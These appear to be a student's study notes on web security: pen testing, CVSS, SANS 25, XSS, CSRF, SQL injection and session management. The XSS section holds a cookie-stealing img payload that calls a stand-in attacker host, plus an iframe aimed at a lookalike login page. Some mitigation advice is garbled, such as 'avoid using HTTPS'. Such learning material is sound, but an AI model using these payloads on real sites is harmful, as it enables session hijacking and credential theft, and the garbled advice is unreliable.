Definitions:

* Zero Day Attack: Attacks which have no current fix
* Pen Tester/Ethical Hacker: Employees who simulate attacks on a system to help improve security
* vulnerability Assessment: An automated scanning product which probes the port and services on IP addresses.
* Cross-site Scripting(XSS): When an application accepts untrustworthy data and sends it to a browser without validation or escaping, allowing attackers to execute script in the victims browser.
* SQL Injection: An attack will send an SQL query via an input which in turn does something
* Broken Authentication and Session Manage: A vulnerability which allows an attacker to capture credentials or get around authentication methods which restrict unauthorised access

Pen Test Process:

* + Set ground rules
    - Start/end and blackout dates
    - Approvals
    - Identify and alert parties
    - Set expectations
  + Passive Scanning:
    - Get info about target using Open Source Intelligence (OSINT)
  + Active Scanning and Enumeration
    - Figure out targets public exposure via tools
  + Fingerprinting:
    - Identify OS type and patch, Application and patch level, open ports account and running services
  + Select Target System
  + Exploit uncovered vulnerabilities
  + Exploit Privilege
  + Document

Tools

* Zed Attack Proxy(ZAP): A free tool for automated and manual testing of web application vulnerabilities
* CVSS(Common Vulnerability Scoring System): Assess security vulnerabilities by assigning scores to vulnerabilities which are calculated using a formula dependant on several metrics (scores range from 0 to 10)
  + Base score compromised of:
    - Attack Vector(AV): Where vulnerability exploitation is possible.
      * As one moves from physical to network: score increases
      * Compromised of :
        + Network: Vulnerable component bound to network stack and their path is via OSI layer 3
        + Adjacent: Limited to shared physical network
        + Local: Not bound to the network stack. Either the attacker has logged in locally or needs user interaction to execute the exploit
        + Physical: Attacker needs to physically manipulate vulnerable component
    - Attack Complexity(AC): Conditions beyond attacks control which must exist to exploit vulnerability
      * Either Low or High metrics. This means there is either no conditions/special conditions or is extremely dependant on them,
    - Privileges Required (PR): Level of privileges an attacker need. Score increase with fewer privileges
      * Can be either Low, High or None values. This means for exploit to be successful, needs either no, basic or high level of access
    - UI: Does an attack need another use to interact with something to exploit vulnerabilities
      * None or Required Interaction for exploits success
    - Scope (S): Does the vulnerability impact resources beyond means and privileges
      * Unchanged or Change scope means that the exploit effects either the confines of system or beyond it
    - Confidentiality (C): If information is disclosed to an unauthorised user
      * None, High or Low. Indicates how much info is leaked
    - Integrity (I): If veracity/trustworthiness of info maintained
      * None, High or Low values. These indicate how much integrity is lost and how serious of an impact it is
    - Availability (A):
      * Can a component be taken down, even partially, by exploit. Can either be totally taken offline(High) or just have reduced performance(Low)
* A screenshot of a computer screen

  Description automatically generated
* OWASP (Open Web Application Security Project) is an online community which creates articles, methodologies, tools and documents for the web application security sector
* SysAsmin, Audit, Network & Security(SANS): Private US company which specialises in training for info security and cyber security
* SANS 25(List of common dangerous errors):
  + Insecure interaction between components:
    - SQL Injection: Improper neutralisation of Special Elements used in SQL commands
    - OS Command injection: Improper neutralisation od special elements in OS command line
    - Cross Site scripting: Improper Neutralisation of input during web page generation
    - Unrestricted Upload of file with a dangerous type
    - Cross site request forgery
    - URL redirections
  + Resource Management Risks:
    - Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
    - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
    - Download of Code Without Integrity Check
    - Inclusion of Functionality from Untrusted Control Sphere
    - Use of Potentially Dangerous Function
    - Incorrect Calculation of Buffer Size
    - Uncontrolled Format String
    - Integer Overflow or Wraparound
  + Porous Defenses
    - Missing Authentication for Critical Function
    - Missing Authorization
    - Use of Hard-coded Credentials
    - Missing Encryption of Sensitive Data
    - Reliance on Untrusted Inputs in a Security Decision
    - Execution with Unnecessary Privileges
    - Incorrect Authorization
    - Incorrect Permission Assignment for Critical Resource
    - Use of a Broken or Risky Cryptographic Algorithm
    - Improper Restriction of Excessive Authentication Attempts
    - Use of a One-Way Hash without a Salt
* CWE (Common Weakness Enumeration: Developed list of common software security weaknesses
* Common Vulnerability and Exposures (CVE): Dictionary of known info security vulnerabilities and exposure.

Cross Site Scripting(XSS)

* How XSS works:
  + Attacker can craft malicious URL(URL with malicious text) and send it to victim
  + Victim tricked into requesting URL from website
  + Website includes the malicious string in response
  + Malicious scripts are executed from response and sends cookie to attackers server
* XSS makes use of improper treatment of dynamic content from a backend data store
* Stores/Persistent XSS: If a page is vulnerable to this, will execute injected script every time page is loaded
  + If one inspects source code, can see where data has gone
  + How it works:
    - Attacker Sends crafted payload
    - Victim logs in
    - Victim visits list of pages
    - The server then responds with the attackers JavaScript
    - Pop-up is loaded
    - Victims browser then sends session cookies to attacker who then hijacks the session
* Examples:
  + <img src ='http://attackersite.com/index.php?cookie= '+document.cookie > allows one to steal a sessions cookie
  + <iframe style=' position:fixed; top:0px; left:0px bottom:0px; right:0px; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;'' src='http://faceboook.com/login.php' ></iframe> allows us to harvest credentials
* CVSS Score: A screenshot of a computer

  Description automatically generated
* To protect from XSS:
  + **Escape Dynamic Content**: Properly encode data before rendering it in a browser.
  + **Whitelist Inputs**: Restrict allowed values (e.g., dropdown lists).
  + **Content Security Policy (CSP)**: Specify allowed sources for scripts, preventing unauthorized execution.
  + **Sanitize HTML**: Use libraries to clean inputs of malicious scripts.
  + **HTTP-only Cookies**: Prevent JavaScript from accessing sensitive cookies.
* Browser Exploitation Framework project (BeEF) is a pen test tool which focus on the web browser, and using it, can launch hacking attacks on workstation within protected perimeter.

Request Forgery

* Idea is to trick the user into submitting a create/delete/update request on an existing browser session
* Relies on the following:
  + Web browser hand session data such as the cookie and HTTP authentication info
  + Valid web app URL
  + Web page functions which rely on Cookies and HTTP authentication info known by the web browser
  + HTML elements which call back to server resources such as an img tag
* Two types:
  + OSRF (On site Request Forgery): Currently rendered in victims web page
  + CRSF (Cross site request forgery): Browsing one website but are logged into one other website.
* User -Browser -Server Interaction:
  + User accesses page
  + They receive a home page
  + They click login and the browser then responds with the login form
  + The user then types in Username and Password then clicks login
  + Browser generates a post request sends it with username and password to the server
  + Server checks to see if the 2 match and then generates a page and session cookie and then sends them plus an HTML with a form in it
  + If the user wishes to update data, the user fills out the form and sends a session cookie alongside it then the server performs the action
* One way to do this is to load a 1x1 pixel image whose source is another website that causes the other site to do something
* A forged request will always be sent as part of the request
* We can always add parameters to a forge request
* If we know a form is vulnerable, we can create a similar looking post with hidden input types(not rendered/not visible) and same action on a different webpage. As it would be rendered in the background and use a JavaScript to submit the form automatically. Can embed it anywhere
* To Test for CSRF:
  + Black Box:
    - Know URL
    - Pick a URL and create an HTML which contains an http request which references the URL
    - Victim is logged in and then find a method which makes the user click/follow the link
    - See result
  + Grey Box:
    - Review the web app to see if session management is vulnerable
    - See if session management relies only on client side values like cookies/HTTP authentications
* To mitigate CSRF:
  + Generate per-session and per-session nonces and use the same origin policy HTTP header
  + Avoid using URL rewriting, HTTPS, multistep transactions and using a secret cookie
  + Do not only accept post requests
  + Log out of all application
  + Use a VM
  + For sensitive info, use different browsers
  + Change passwords often

SQL Injection(SQLi)

* Can lead to following :
  + Circumventing of access controls
  + Read sensitive data
  + Modification of data
  + Execute admin operations on DB or operating system commands
  + Read file contents of DBMS file system
* How to detect:
  + Make a list of all input fields including hidden ones and consider HTTP headers and cookies
  + Find out where the application interacts with the DB such as forms, search and other e-commerce functions
  + Use a single quote or a semi-colon (‘/;). Both need to be dealt with as a single quote terminates a string while the semi colon ends an SQL statement . Both can cause errors
  + Figure out what DBMS is being used by observing error returned by the DB or in the case we have a custom/no error message, look at the message format
* Example:
  + A computer screen shot of white text

    AI-generated content may be incorrect.
  + Idea here is create a connection, then create a statement in the connection. Afterwards, you create your malicious SQL query and execute it via the statement
* Once can exploit Boolean operators here
* 3 types of SQL classes
  + Inband: In which data is extracted from the same channel where SQL code is injected. Most common
  + Out-of-band: Retrieved from different channel
  + Blind: No transfer of data but tester is able to reconstruct info via requests and observing resulting behaviour
* Techniques:
  + Union: can be used when the SQL injection flaw happens in a SELECT statement, making it possible to combine two queries into a single result or result set.
    - Keyword ALL is important to get around DISTINCT
    - We can use ORDER BY to determine number of columns
    - Can use null to get column types as if an error occurs, we have the same data type
  + Boolean: Use bool conditions to verify certain conditions are T/F
    - Useful for blind attacks
  + Time delay: Use DB commands to delay answers in conditional queries. Used when attacker has no sort of answer
    - Useful for determining conditions as if a delay occurs, our condition is false
* Prevention methods:
  + Parameterised queries: Define SQL code and then pass in each parameter to the query after allowing for the designation between code and data
  + Stored procedures: SQL code which is defined and stored in DB itself then called
  + Whitelist input validation
  + Escaping user supplied input
  + Avoid detailed error messages
  + Enforce Least privilege

# Broken Authentication and Session Management

* Reasons we fail to protect Username, Password and Session ID:
  + Unencrypted application connection
    - MiTM can intercept credentials that is being sent or received
    - To prevent this, enable TLS/SSL on server and set secure flags on cookies to prevent unauthorised observation
  + Easy to guess login details
    - Users must use a strong password and change default passwords to avoid this
    - Length 8 passwords are most common length
  + Unprotected password/usernames when stored
    - Occurs if file it is stored in isn’t properly hashed/encrypted
    - Use Salt and hashes
  + Session ID is in URL
  + Session values don’t time out or not invalidated after logout
    - Leaves Session ID vulnerable
    - Set a timeout on session ID to circumvent or the app itself can invalidate it upon logout
* Session fixation:
  + The attacker logs into web server..
  + Server issues a session ID
  + Attacker has to send a link with the established session ID to the victim, victim clicks on the link sent from the attacker
  + Web Server sees that session was already established and a new one need not to be created.
  + Victim provides credentials to the Web Server.
  + Knowing the user's account and the session ID, the attacker gains access
* To prevent session fixation:
  + Code web app so it assigns a different session cookie immediately after user authenticates application
* Session Management pipeline
  + Session ID
    - name value pair
    - Shouldn’t be too descriptive or have unnecessary details
    - Should be long and unpredictable
    - Its contents must be meaningless
  + Session Management Implementation
    - How the exchange mechanism to be used between user and application
    - Mechanisms in HTTP help maintain session state in web apps such as cookies, URL parameters and arguments
  + Access controls
    - TLS is in here
    - Its pivotal in protecting ID exchange
    - Prevents active eavesdropping
    - Needs to be done for entire web session and not just authentication
  + Cookies:
    - Secure Attribute: Only send cookie data via HTTPS connections
    - HttpOnly attribute: Not allow client side scripts to access cookie
    - Domain and Path Attributes: Only send cookies to specified domain and its subdomains
    - Expire and Max-age attributes: Store cookies on disk until expiration